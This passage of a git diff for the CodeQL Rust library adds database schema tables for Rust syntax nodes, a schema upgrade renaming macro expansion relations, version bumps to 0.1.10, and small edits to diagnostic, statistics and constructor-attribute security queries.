pat: @pat ref +); + +#keyset[id] +let_stmt_type_reprs( + int id: @let_stmt ref, + int type_repr: @type_repr ref +); + +lifetimes( + unique int id: @lifetime +); + +#keyset[id] +lifetime_texts( + int id: @lifetime ref, + string text: string ref +); + +lifetime_args( + unique int id: @lifetime_arg +); + +#keyset[id] +lifetime_arg_lifetimes( + int id: @lifetime_arg ref, + int lifetime: @lifetime ref +); + +lifetime_params( + unique int id: @lifetime_param +); + +#keyset[id, index] +lifetime_param_attrs( + int id: @lifetime_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +lifetime_param_lifetimes( + int id: @lifetime_param ref, + int lifetime: @lifetime ref +); + +#keyset[id] +lifetime_param_type_bound_lists( + int id: @lifetime_param ref, + int type_bound_list: @type_bound_list ref +); + +literal_exprs( + unique int id: @literal_expr +); + +#keyset[id, index] +literal_expr_attrs( + int id: @literal_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +literal_expr_text_values( + int id: @literal_expr ref, + string text_value: string ref +); + +literal_pats( + unique int id: @literal_pat +); + +#keyset[id] +literal_pat_literals( + int id: @literal_pat ref, + int literal: @literal_expr ref +); + +macro_block_exprs( + unique int id: @macro_block_expr +); + +#keyset[id] +macro_block_expr_tail_exprs( + int id: @macro_block_expr ref, + int tail_expr: @expr ref +); + +#keyset[id, index] +macro_block_expr_statements( + int id: @macro_block_expr ref, + int index: int ref, + int statement: @stmt ref +); + +macro_exprs( + unique int id: @macro_expr +); + +#keyset[id] +macro_expr_macro_calls( + int id: @macro_expr ref, + int macro_call: @macro_call ref +); + +macro_pats( + unique int id: @macro_pat +); + +#keyset[id] +macro_pat_macro_calls( + int id: @macro_pat ref, + int macro_call: @macro_call ref +); + +macro_type_reprs( + unique int id: @macro_type_repr +); + +#keyset[id] +macro_type_repr_macro_calls( + int id: @macro_type_repr ref, + int macro_call: @macro_call ref +); + +match_exprs( + unique int id: @match_expr +); + +#keyset[id, index] +match_expr_attrs( + int id: @match_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +match_expr_scrutinees( + int id: @match_expr ref, + int scrutinee: @expr ref +); + +#keyset[id] +match_expr_match_arm_lists( + int id: @match_expr ref, + int match_arm_list: @match_arm_list ref +); + +name_refs( + unique int id: @name_ref +); + +#keyset[id] +name_ref_texts( + int id: @name_ref ref, + string text: string ref +); + +never_type_reprs( + unique int id: @never_type_repr +); + +offset_of_exprs( + unique int id: @offset_of_expr +); + +#keyset[id, index] +offset_of_expr_attrs( + int id: @offset_of_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +offset_of_expr_fields( + int id: @offset_of_expr ref, + int index: int ref, + int field: @name_ref ref +); + +#keyset[id] +offset_of_expr_type_reprs( + int id: @offset_of_expr ref, + int type_repr: @type_repr ref +); + +or_pats( + unique int id: @or_pat +); + +#keyset[id, index] +or_pat_pats( + int id: @or_pat ref, + int index: int ref, + int pat: @pat ref +); + +params( + unique int id: @param +); + +#keyset[id] +param_pats( + int id: @param ref, + int pat: @pat ref +); + +paren_exprs( + unique int id: @paren_expr +); + +#keyset[id, index] +paren_expr_attrs( + int id: @paren_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +paren_expr_exprs( + int id: @paren_expr ref, + int expr: @expr ref +); + +paren_pats( + unique int id: @paren_pat +); + +#keyset[id] +paren_pat_pats( + int id: @paren_pat ref, + int pat: @pat ref +); + +paren_type_reprs( + unique int id: @paren_type_repr +); + +#keyset[id] +paren_type_repr_type_reprs( + int id: @paren_type_repr ref, + int type_repr: @type_repr ref +); + +@path_ast_node = + @path_expr +| @path_pat +| @struct_expr +| @struct_pat +| @tuple_struct_pat +; + +#keyset[id] +path_ast_node_paths( + int id: @path_ast_node ref, + int path: @path ref +); + +@path_expr_base = + @path_expr +; + +path_type_reprs( + unique int id: @path_type_repr +); + +#keyset[id] +path_type_repr_paths( + int id: @path_type_repr ref, + int path: @path ref +); + +prefix_exprs( + unique int id: @prefix_expr +); + +#keyset[id, index] +prefix_expr_attrs( + int id: @prefix_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +prefix_expr_exprs( + int id: @prefix_expr ref, + int expr: @expr ref +); + +#keyset[id] +prefix_expr_operator_names( + int id: @prefix_expr ref, + string operator_name: string ref +); + +ptr_type_reprs( + unique int id: @ptr_type_repr +); + +#keyset[id] +ptr_type_repr_is_const( + int id: @ptr_type_repr ref +); + +#keyset[id] +ptr_type_repr_is_mut( + int id: @ptr_type_repr ref +); + +#keyset[id] +ptr_type_repr_type_reprs( + int id: @ptr_type_repr ref, + int type_repr: @type_repr ref +); + +range_exprs( + unique int id: @range_expr +); + +#keyset[id, index] +range_expr_attrs( + int id: @range_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +range_expr_ends( + int id: @range_expr ref, + int end: @expr ref +); + +#keyset[id] +range_expr_operator_names( + int id: @range_expr ref, + string operator_name: string ref +); + +#keyset[id] +range_expr_starts( + int id: @range_expr ref, + int start: @expr ref +); + +range_pats( + unique int id: @range_pat +); + +#keyset[id] +range_pat_ends( + int id: @range_pat ref, + int end: @pat ref +); + +#keyset[id] +range_pat_operator_names( + int id: @range_pat ref, + string operator_name: string ref +); + +#keyset[id] +range_pat_starts( + int id: @range_pat ref, + int start: @pat ref +); + +ref_exprs( + unique int id: @ref_expr +); + +#keyset[id, index] +ref_expr_attrs( + int id: @ref_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +ref_expr_exprs( + int id: @ref_expr ref, + int expr: @expr ref +); + +#keyset[id] +ref_expr_is_const( + int id: @ref_expr ref +); + +#keyset[id] +ref_expr_is_mut( + int id: @ref_expr ref +); + +#keyset[id] +ref_expr_is_raw( + int id: @ref_expr ref +); + +ref_pats( + unique int id: @ref_pat +); + +#keyset[id] +ref_pat_is_mut( + int id: @ref_pat ref +); + +#keyset[id] +ref_pat_pats( + int id: @ref_pat ref, + int pat: @pat ref +); + +ref_type_reprs( + unique int id: @ref_type_repr +); + +#keyset[id] +ref_type_repr_is_mut( + int id: @ref_type_repr ref +); + +#keyset[id] +ref_type_repr_lifetimes( + int id: @ref_type_repr ref, + int lifetime: @lifetime ref +); + +#keyset[id] +ref_type_repr_type_reprs( + int id: @ref_type_repr ref, + int type_repr: @type_repr ref +); + +rest_pats( + unique int id: @rest_pat +); + +#keyset[id, index] +rest_pat_attrs( + int id: @rest_pat ref, + int index: int ref, + int attr: @attr ref +); + +return_exprs( + unique int id: @return_expr +); + +#keyset[id, index] +return_expr_attrs( + int id: @return_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +return_expr_exprs( + int id: @return_expr ref, + int expr: @expr ref +); + +self_params( + unique int id: @self_param +); + +#keyset[id] +self_param_is_ref( + int id: @self_param ref +); + +#keyset[id] +self_param_is_mut( + int id: @self_param ref +); + +#keyset[id] +self_param_lifetimes( + int id: @self_param ref, + int lifetime: @lifetime ref +); + +#keyset[id] +self_param_names( + int id: @self_param ref, + int name: @name ref +); + +slice_pats( + unique int id: @slice_pat +); + +#keyset[id, index] +slice_pat_pats( + int id: @slice_pat ref, + int index: int ref, + int pat: @pat ref +); + +slice_type_reprs( + unique int id: @slice_type_repr +); + +#keyset[id] +slice_type_repr_type_reprs( + int id: @slice_type_repr ref, + int type_repr: @type_repr ref +); + +struct_field_lists( + unique int id: @struct_field_list +); + +#keyset[id, index] +struct_field_list_fields( + int id: @struct_field_list ref, + int index: int ref, + int field: @struct_field ref +); + +try_exprs( + unique int id: @try_expr +); + +#keyset[id, index] +try_expr_attrs( + int id: @try_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +try_expr_exprs( + int id: @try_expr ref, + int expr: @expr ref +); + +tuple_exprs( + unique int id: @tuple_expr +); + +#keyset[id, index] +tuple_expr_attrs( + int id: @tuple_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +tuple_expr_fields( + int id: @tuple_expr ref, + int index: int ref, + int field: @expr ref +); + +tuple_field_lists( + unique int id: @tuple_field_list +); + +#keyset[id, index] +tuple_field_list_fields( + int id: @tuple_field_list ref, + int index: int ref, + int field: @tuple_field ref +); + +tuple_pats( + unique int id: @tuple_pat +); + +#keyset[id, index] +tuple_pat_fields( + int id: @tuple_pat ref, + int index: int ref, + int field: @pat ref +); + +tuple_type_reprs( + unique int id: @tuple_type_repr +); + +#keyset[id, index] +tuple_type_repr_fields( + int id: @tuple_type_repr ref, + int index: int ref, + int field: @type_repr ref +); + +type_args( + unique int id: @type_arg +); + +#keyset[id] +type_arg_type_reprs( + int id: @type_arg ref, + int type_repr: @type_repr ref +); + +type_params( + unique int id: @type_param +); + +#keyset[id, index] +type_param_attrs( + int id: @type_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +type_param_default_types( + int id: @type_param ref, + int default_type: @type_repr ref +); + +#keyset[id] +type_param_names( + int id: @type_param ref, + int name: @name ref +); + +#keyset[id] +type_param_type_bound_lists( + int id: @type_param ref, + int type_bound_list: @type_bound_list ref +); + +underscore_exprs( + unique int id: @underscore_expr +); + +#keyset[id, index] +underscore_expr_attrs( + int id: @underscore_expr ref, + int index: int ref, + int attr: @attr ref +); + +variants( + unique int id: @variant +); + +#keyset[id, index] +variant_attrs( + int id: @variant ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +variant_discriminants( + int id: @variant ref, + int discriminant: @expr ref +); + +#keyset[id] +variant_field_lists( + int id: @variant ref, + int field_list: @field_list ref +); + +#keyset[id] +variant_names( + int id: @variant ref, + int name: @name ref +); + +#keyset[id] +variant_visibilities( + int id: @variant ref, + int visibility: @visibility ref +); + +wildcard_pats( + unique int id: @wildcard_pat +); + +yeet_exprs( + unique int id: @yeet_expr +); + +#keyset[id, index] +yeet_expr_attrs( + int id: @yeet_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +yeet_expr_exprs( + int id: @yeet_expr ref, + int expr: @expr ref +); + +yield_exprs( + unique int id: @yield_expr +); + +#keyset[id, index] +yield_expr_attrs( + int id: @yield_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +yield_expr_exprs( + int id: @yield_expr ref, + int expr: @expr ref +); + +block_exprs( + unique int id: @block_expr +); + +#keyset[id, index] +block_expr_attrs( + int id: @block_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +block_expr_is_async( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_const( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_gen( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_move( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_try( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_unsafe( + int id: @block_expr ref +); + +#keyset[id] +block_expr_stmt_lists( + int id: @block_expr ref, + int stmt_list: @stmt_list ref +); + +call_exprs( + unique int id: @call_expr +); + +#keyset[id] +call_expr_functions( + int id: @call_expr ref, + int function: @expr ref +); + +consts( + unique int id: @const +); + +#keyset[id, index] +const_attrs( + int id: @const ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +const_bodies( + int id: @const ref, + int body: @expr ref +); + +#keyset[id] +const_is_const( + int id: @const ref +); + +#keyset[id] +const_is_default( + int id: @const ref +); + +#keyset[id] +const_names( + int id: @const ref, + int name: @name ref +); + +#keyset[id] +const_type_reprs( + int id: @const ref, + int type_repr: @type_repr ref +); + +#keyset[id] +const_visibilities( + int id: @const ref, + int visibility: @visibility ref +); + +enums( + unique int id: @enum +); + +#keyset[id, index] +enum_attrs( + int id: @enum ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +enum_generic_param_lists( + int id: @enum ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +enum_names( + int id: @enum ref, + int name: @name ref +); + +#keyset[id] +enum_variant_lists( + int id: @enum ref, + int variant_list: @variant_list ref +); + +#keyset[id] +enum_visibilities( + int id: @enum ref, + int visibility: @visibility ref +); + +#keyset[id] +enum_where_clauses( + int id: @enum ref, + int where_clause: @where_clause ref +); + +extern_blocks( + unique int id: @extern_block +); + +#keyset[id] +extern_block_abis( + int id: @extern_block ref, + int abi: @abi ref +); + +#keyset[id, index] +extern_block_attrs( + int id: @extern_block ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +extern_block_extern_item_lists( + int id: @extern_block ref, + int extern_item_list: @extern_item_list ref +); + +#keyset[id] +extern_block_is_unsafe( + int id: @extern_block ref +); + +extern_crates( + unique int id: @extern_crate +); + +#keyset[id, index] +extern_crate_attrs( + int id: @extern_crate ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +extern_crate_identifiers( + int id: @extern_crate ref, + int identifier: @name_ref ref +); + +#keyset[id] +extern_crate_renames( + int id: @extern_crate ref, + int rename: @rename ref +); + +#keyset[id] +extern_crate_visibilities( + int id: @extern_crate ref, + int visibility: @visibility ref +); + +functions( + unique int id: @function +); + +#keyset[id] +function_abis( + int id: @function ref, + int abi: @abi ref +); + +#keyset[id] +function_bodies( + int id: @function ref, + int body: @block_expr ref +); + +#keyset[id] +function_generic_param_lists( + int id: @function ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +function_is_async( + int id: @function ref +); + +#keyset[id] +function_is_const( + int id: @function ref +); + +#keyset[id] +function_is_default( + int id: @function ref +); + +#keyset[id] +function_is_gen( + int id: @function ref +); + +#keyset[id] +function_is_unsafe( + int id: @function ref +); + +#keyset[id] +function_names( + int id: @function ref, + int name: @name ref +); + +#keyset[id] +function_ret_types( + int id: @function ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +function_visibilities( + int id: @function ref, + int visibility: @visibility ref +); + +#keyset[id] +function_where_clauses( + int id: @function ref, + int where_clause: @where_clause ref +); + +impls( + unique int id: @impl +); + +#keyset[id] +impl_assoc_item_lists( + int id: @impl ref, + int assoc_item_list: @assoc_item_list ref +); + +#keyset[id, index] +impl_attrs( + int id: @impl ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +impl_generic_param_lists( + int id: @impl ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +impl_is_const( + int id: @impl ref +); + +#keyset[id] +impl_is_default( + int id: @impl ref +); + +#keyset[id] +impl_is_unsafe( + int id: @impl ref +); + +#keyset[id] +impl_self_ties( + int id: @impl ref, + int self_ty: @type_repr ref +); + +#keyset[id] +impl_traits( + int id: @impl ref, + int trait: @type_repr ref +); + +#keyset[id] +impl_visibilities( + int id: @impl ref, + int visibility: @visibility ref +); + +#keyset[id] +impl_where_clauses( + int id: @impl ref, + int where_clause: @where_clause ref +); + +@looping_expr = + @for_expr +| @loop_expr +| @while_expr +; + +#keyset[id] +looping_expr_loop_bodies( + int id: @looping_expr ref, + int loop_body: @block_expr ref +); + +macro_calls( + unique int id: @macro_call +); + +#keyset[id, index] +macro_call_attrs( + int id: @macro_call ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_call_paths( + int id: @macro_call ref, + int path: @path ref +); + +#keyset[id] +macro_call_token_trees( + int id: @macro_call ref, + int token_tree: @token_tree ref +); + +#keyset[id] +macro_call_macro_call_expansions( + int id: @macro_call ref, + int macro_call_expansion: @ast_node ref +); + +macro_defs( + unique int id: @macro_def +); + +#keyset[id] +macro_def_args( + int id: @macro_def ref, + int args: @token_tree ref +); + +#keyset[id, index] +macro_def_attrs( + int id: @macro_def ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_def_bodies( + int id: @macro_def ref, + int body: @token_tree ref +); + +#keyset[id] +macro_def_names( + int id: @macro_def ref, + int name: @name ref +); + +#keyset[id] +macro_def_visibilities( + int id: @macro_def ref, + int visibility: @visibility ref +); + +macro_rules( + unique int id: @macro_rules +); + +#keyset[id, index] +macro_rules_attrs( + int id: @macro_rules ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_rules_names( + int id: @macro_rules ref, + int name: @name ref +); + +#keyset[id] +macro_rules_token_trees( + int id: @macro_rules ref, + int token_tree: @token_tree ref +); + +#keyset[id] +macro_rules_visibilities( + int id: @macro_rules ref, + int visibility: @visibility ref +); + +method_call_exprs( + unique int id: @method_call_expr +); + +#keyset[id] +method_call_expr_generic_arg_lists( + int id: @method_call_expr ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +method_call_expr_identifiers( + int id: @method_call_expr ref, + int identifier: @name_ref ref +); + +#keyset[id] +method_call_expr_receivers( + int id: @method_call_expr ref, + int receiver: @expr ref +); + +modules( + unique int id: @module +); + +#keyset[id, index] +module_attrs( + int id: @module ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +module_item_lists( + int id: @module ref, + int item_list: @item_list ref +); + +#keyset[id] +module_names( + int id: @module ref, + int name: @name ref +); + +#keyset[id] +module_visibilities( + int id: @module ref, + int visibility: @visibility ref +); + +path_exprs( + unique int id: @path_expr +); + +#keyset[id, index] +path_expr_attrs( + int id: @path_expr ref, + int index: int ref, + int attr: @attr ref +); + +path_pats( + unique int id: @path_pat +); + +statics( + unique int id: @static +); + +#keyset[id, index] +static_attrs( + int id: @static ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +static_bodies( + int id: @static ref, + int body: @expr ref +); + +#keyset[id] +static_is_mut( + int id: @static ref +); + +#keyset[id] +static_is_static( + int id: @static ref +); + +#keyset[id] +static_is_unsafe( + int id: @static ref +); + +#keyset[id] +static_names( + int id: @static ref, + int name: @name ref +); + +#keyset[id] +static_type_reprs( + int id: @static ref, + int type_repr: @type_repr ref +); + +#keyset[id] +static_visibilities( + int id: @static ref, + int visibility: @visibility ref +); + +structs( + unique int id: @struct +); + +#keyset[id, index] +struct_attrs( + int id: @struct ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_field_lists_( + int id: @struct ref, + int field_list: @field_list ref +); + +#keyset[id] +struct_generic_param_lists( + int id: @struct ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +struct_names( + int id: @struct ref, + int name: @name ref +); + +#keyset[id] +struct_visibilities( + int id: @struct ref, + int visibility: @visibility ref +); + +#keyset[id] +struct_where_clauses( + int id: @struct ref, + int where_clause: @where_clause ref +); + +struct_exprs( + unique int id: @struct_expr +); + +#keyset[id] +struct_expr_struct_expr_field_lists( + int id: @struct_expr ref, + int struct_expr_field_list: @struct_expr_field_list ref +); + +struct_pats( + unique int id: @struct_pat +); + +#keyset[id] +struct_pat_struct_pat_field_lists( + int id: @struct_pat ref, + int struct_pat_field_list: @struct_pat_field_list ref +); + +traits( + unique int id: @trait +); + +#keyset[id] +trait_assoc_item_lists( + int id: @trait ref, + int assoc_item_list: @assoc_item_list ref +); + +#keyset[id, index] +trait_attrs( + int id: @trait ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +trait_generic_param_lists( + int id: @trait ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +trait_is_auto( + int id: @trait ref +); + +#keyset[id] +trait_is_unsafe( + int id: @trait ref +); + +#keyset[id] +trait_names( + int id: @trait ref, + int name: @name ref +); + +#keyset[id] +trait_type_bound_lists( + int id: @trait ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +trait_visibilities( + int id: @trait ref, + int visibility: @visibility ref +); + +#keyset[id] +trait_where_clauses( + int id: @trait ref, + int where_clause: @where_clause ref +); + +trait_aliases( + unique int id: @trait_alias +); + +#keyset[id, index] +trait_alias_attrs( + int id: @trait_alias ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +trait_alias_generic_param_lists( + int id: @trait_alias ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +trait_alias_names( + int id: @trait_alias ref, + int name: @name ref +); + +#keyset[id] +trait_alias_type_bound_lists( + int id: @trait_alias ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +trait_alias_visibilities( + int id: @trait_alias ref, + int visibility: @visibility ref +); + +#keyset[id] +trait_alias_where_clauses( + int id: @trait_alias ref, + int where_clause: @where_clause ref +); + +tuple_struct_pats( + unique int id: @tuple_struct_pat +); + +#keyset[id, index] +tuple_struct_pat_fields( + int id: @tuple_struct_pat ref, + int index: int ref, + int field: @pat ref +); + +type_aliases( + unique int id: @type_alias +); + +#keyset[id, index] +type_alias_attrs( + int id: @type_alias ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +type_alias_generic_param_lists( + int id: @type_alias ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +type_alias_is_default( + int id: @type_alias ref +); + +#keyset[id] +type_alias_names( + int id: @type_alias ref, + int name: @name ref +); + +#keyset[id] +type_alias_type_reprs( + int id: @type_alias ref, + int type_repr: @type_repr ref +); + +#keyset[id] +type_alias_type_bound_lists( + int id: @type_alias ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +type_alias_visibilities( + int id: @type_alias ref, + int visibility: @visibility ref +); + +#keyset[id] +type_alias_where_clauses( + int id: @type_alias ref, + int where_clause: @where_clause ref +); + +unions( + unique int id: @union +); + +#keyset[id, index] +union_attrs( + int id: @union ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +union_generic_param_lists( + int id: @union ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +union_names( + int id: @union ref, + int name: @name ref +); + +#keyset[id] +union_struct_field_lists( + int id: @union ref, + int struct_field_list: @struct_field_list ref +); + +#keyset[id] +union_visibilities( + int id: @union ref, + int visibility: @visibility ref +); + +#keyset[id] +union_where_clauses( + int id: @union ref, + int where_clause: @where_clause ref +); + +uses( + unique int id: @use +); + +#keyset[id, index] +use_attrs( + int id: @use ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +use_use_trees( + int id: @use ref, + int use_tree: @use_tree ref +); + +#keyset[id] +use_visibilities( + int id: @use ref, + int visibility: @visibility ref +); + +for_exprs( + unique int id: @for_expr +); + +#keyset[id, index] +for_expr_attrs( + int id: @for_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +for_expr_iterables( + int id: @for_expr ref, + int iterable: @expr ref +); + +#keyset[id] +for_expr_pats( + int id: @for_expr ref, + int pat: @pat ref +); + +loop_exprs( + unique int id: @loop_expr +); + +#keyset[id, index] +loop_expr_attrs( + int id: @loop_expr ref, + int index: int ref, + int attr: @attr ref +); + +while_exprs( + unique int id: @while_expr +); + +#keyset[id, index] +while_expr_attrs( + int id: @while_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +while_expr_conditions( + int id: @while_expr ref, + int condition: @expr ref +); diff --git a/rust/ql/lib/upgrades/58bc96172f5a76faffc04004933865aa3c3b3e62/upgrade.properties b/rust/ql/lib/upgrades/58bc96172f5a76faffc04004933865aa3c3b3e62/upgrade.properties new file mode 100644 index 000000000000..6444d6056330 --- /dev/null +++ b/rust/ql/lib/upgrades/58bc96172f5a76faffc04004933865aa3c3b3e62/upgrade.properties @@ -0,0 +1,4 @@ +description: Rename `expanded` to `macro_call_expansion` +compatibility: backwards +macro_call_macro_call_expansions.rel: reorder macro_call_expandeds.rel (@macro_call id, @ast_node expanded) id expanded +macro_call_expandeds.rel: delete diff --git a/rust/ql/lib/utils/test/ExternalLocationPostProcessing.ql b/rust/ql/lib/utils/test/ExternalLocationPostProcessing.ql new file mode 100644 index 000000000000..0c4f58b40b6a --- /dev/null +++ b/rust/ql/lib/utils/test/ExternalLocationPostProcessing.ql @@ -0,0 +1,9 @@ +/** + * @kind test-postprocess + */ + +private import rust +private import codeql.util.test.ExternalLocationPostProcessing +import Make + +private string getSourceLocationPrefix() { sourceLocationPrefix(result) } diff --git a/rust/ql/lib/utils/test/PathResolutionInlineExpectationsTest.qll b/rust/ql/lib/utils/test/PathResolutionInlineExpectationsTest.qll index cd82003feac1..e6cf20da84dc 100644 --- a/rust/ql/lib/utils/test/PathResolutionInlineExpectationsTest.qll +++ b/rust/ql/lib/utils/test/PathResolutionInlineExpectationsTest.qll @@ -18,7 +18,8 @@ private module ResolveTest implements TestSig { private predicate commmentAt(string text, string filepath, int line) { exists(Comment c | c.getLocation().hasLocationInfo(filepath, line, _, _, _) and - c.getCommentText().trim() = text + c.getCommentText().trim() = text and + c.fromSource() ) } @@ -35,6 +36,8 @@ private module ResolveTest implements TestSig { exists(AstNode n | not n = any(Path parent).getQualifier() and location = n.getLocation() and + n.fromSource() and + not n.isFromMacroExpansion() and element = n.toString() and tag = "item" | diff --git a/rust/ql/src/CHANGELOG.md b/rust/ql/src/CHANGELOG.md index a7c23fbfd30a..1459910b5eef 100644 --- a/rust/ql/src/CHANGELOG.md +++ b/rust/ql/src/CHANGELOG.md @@ -1,3 +1,11 @@ +## 0.1.10 + +No user-facing changes. + +## 0.1.9 + +No user-facing changes. + ## 0.1.8 No user-facing changes. diff --git a/rust/ql/src/change-notes/released/0.1.10.md b/rust/ql/src/change-notes/released/0.1.10.md new file mode 100644 index 000000000000..47358eeee934 --- /dev/null +++ b/rust/ql/src/change-notes/released/0.1.10.md @@ -0,0 +1,3 @@ +## 0.1.10 + +No user-facing changes. diff --git a/rust/ql/src/change-notes/released/0.1.9.md b/rust/ql/src/change-notes/released/0.1.9.md new file mode 100644 index 000000000000..e93006d794f2 --- /dev/null +++ b/rust/ql/src/change-notes/released/0.1.9.md @@ -0,0 +1,3 @@ +## 0.1.9 + +No user-facing changes. diff --git a/rust/ql/src/codeql-pack.release.yml b/rust/ql/src/codeql-pack.release.yml index 3136ea4a1cc9..30f5ca88be0e 100644 --- a/rust/ql/src/codeql-pack.release.yml +++ b/rust/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.1.8 +lastReleaseVersion: 0.1.10 diff --git a/rust/ql/src/qlpack.yml b/rust/ql/src/qlpack.yml index 75845fd10e1d..813da756c7bd 100644 --- a/rust/ql/src/qlpack.yml +++ b/rust/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rust-queries -version: 0.1.8 +version: 0.1.10 groups: - rust - queries diff --git a/rust/ql/src/queries/diagnostics/UnresolvedMacroCalls.ql b/rust/ql/src/queries/diagnostics/UnresolvedMacroCalls.ql index a20c5035b6ab..f4e6a73fa7ac 100644 --- a/rust/ql/src/queries/diagnostics/UnresolvedMacroCalls.ql +++ b/rust/ql/src/queries/diagnostics/UnresolvedMacroCalls.ql @@ -8,5 +8,5 @@ import rust from MacroCall mc -where not mc.hasExpanded() +where mc.fromSource() and not mc.hasMacroCallExpansion() select mc, "Macro call was not resolved to a target." diff --git a/rust/ql/src/queries/security/CWE-696/BadCtorInitialization.ql b/rust/ql/src/queries/security/CWE-696/BadCtorInitialization.ql index 80364a9de06a..80e1043a979c 100644 --- a/rust/ql/src/queries/security/CWE-696/BadCtorInitialization.ql +++ b/rust/ql/src/queries/security/CWE-696/BadCtorInitialization.ql @@ -44,8 +44,16 @@ class PathElement = AstNode; * reachable from a source. */ predicate edgesFwd(PathElement pred, PathElement succ) { - // attribute (source) -> callable - pred.(CtorAttr) = succ.(Callable).getAnAttr() + // attribute (source) -> function in macro expansion + exists(Function f | + pred.(CtorAttr) = f.getAnAttr() and + ( + f.getAttributeMacroExpansion().getAnItem() = succ.(Callable) + or + // if for some reason the ctor/dtor macro expansion failed, fall back to looking into the unexpanded item + not f.hasAttributeMacroExpansion() and f = succ.(Callable) + ) + ) or // [forwards reachable] callable -> enclosed call edgesFwd(_, pred) and @@ -73,4 +81,5 @@ query predicate edges(PathElement pred, PathElement succ) { from CtorAttr source, StdCall sink where edges+(source, sink) select sink, source, sink, - "Call to " + sink.toString() + " in a function with the " + source.getWhichAttr() + " attribute." + "Call to " + sink.toString() + " from the standard library in a function with the " + + source.getWhichAttr() + " attribute." diff --git a/rust/ql/src/queries/summary/NumberOfFilesExtractedWithErrors.ql b/rust/ql/src/queries/summary/NumberOfFilesExtractedWithErrors.ql index 23db30f53e96..6f5feb3ea54b 100644 --- a/rust/ql/src/queries/summary/NumberOfFilesExtractedWithErrors.ql +++ b/rust/ql/src/queries/summary/NumberOfFilesExtractedWithErrors.ql @@ -10,7 +10,7 @@ import codeql.files.FileSystem -select count(File f | +select count(ExtractedFile f | exists(f.getRelativePath()) and not f instanceof SuccessfullyExtractedFile ) diff --git a/rust/ql/src/queries/summary/Stats.qll b/rust/ql/src/queries/summary/Stats.qll index 87d976b5580e..1feaf3ab48b2 100644 --- a/rust/ql/src/queries/summary/Stats.qll +++ b/rust/ql/src/queries/summary/Stats.qll @@ -8,6 +8,7 @@ private import codeql.rust.dataflow.internal.DataFlowImpl private import codeql.rust.dataflow.internal.TaintTrackingImpl private import codeql.rust.internal.AstConsistency as AstConsistency private import codeql.rust.internal.PathResolutionConsistency as PathResolutionConsistency +private import codeql.rust.internal.TypeInferenceConsistency as TypeInferenceConsistency private import codeql.rust.controlflow.internal.CfgConsistency as CfgConsistency private import codeql.rust.dataflow.internal.DataFlowConsistency as DataFlowConsistency private import codeql.rust.dataflow.internal.SsaImpl::Consistency as SsaConsistency @@ -28,13 +29,13 @@ private import codeql.rust.security.WeakSensitiveDataHashingExtensions /** * Gets a count of the total number of lines of code in the database. */ -int getLinesOfCode() { result = sum(File f | | f.getNumberOfLinesOfCode()) } +int getLinesOfCode() { result = sum(File f | f.fromSource() | f.getNumberOfLinesOfCode()) } /** * Gets a count of the total number of lines of code from the source code directory in the database. */ int getLinesOfUserCode() { - result = sum(File f | exists(f.getRelativePath()) | f.getNumberOfLinesOfCode()) + result = sum(ExtractedFile f | exists(f.getRelativePath()) | f.getNumberOfLinesOfCode()) } /** @@ -52,6 +53,13 @@ int getTotalPathResolutionInconsistencies() { sum(string type | | PathResolutionConsistency::getPathResolutionInconsistencyCounts(type)) } +/** + * Gets a count of the total number of type inference inconsistencies in the database. + */ +int getTotalTypeInferenceInconsistencies() { + 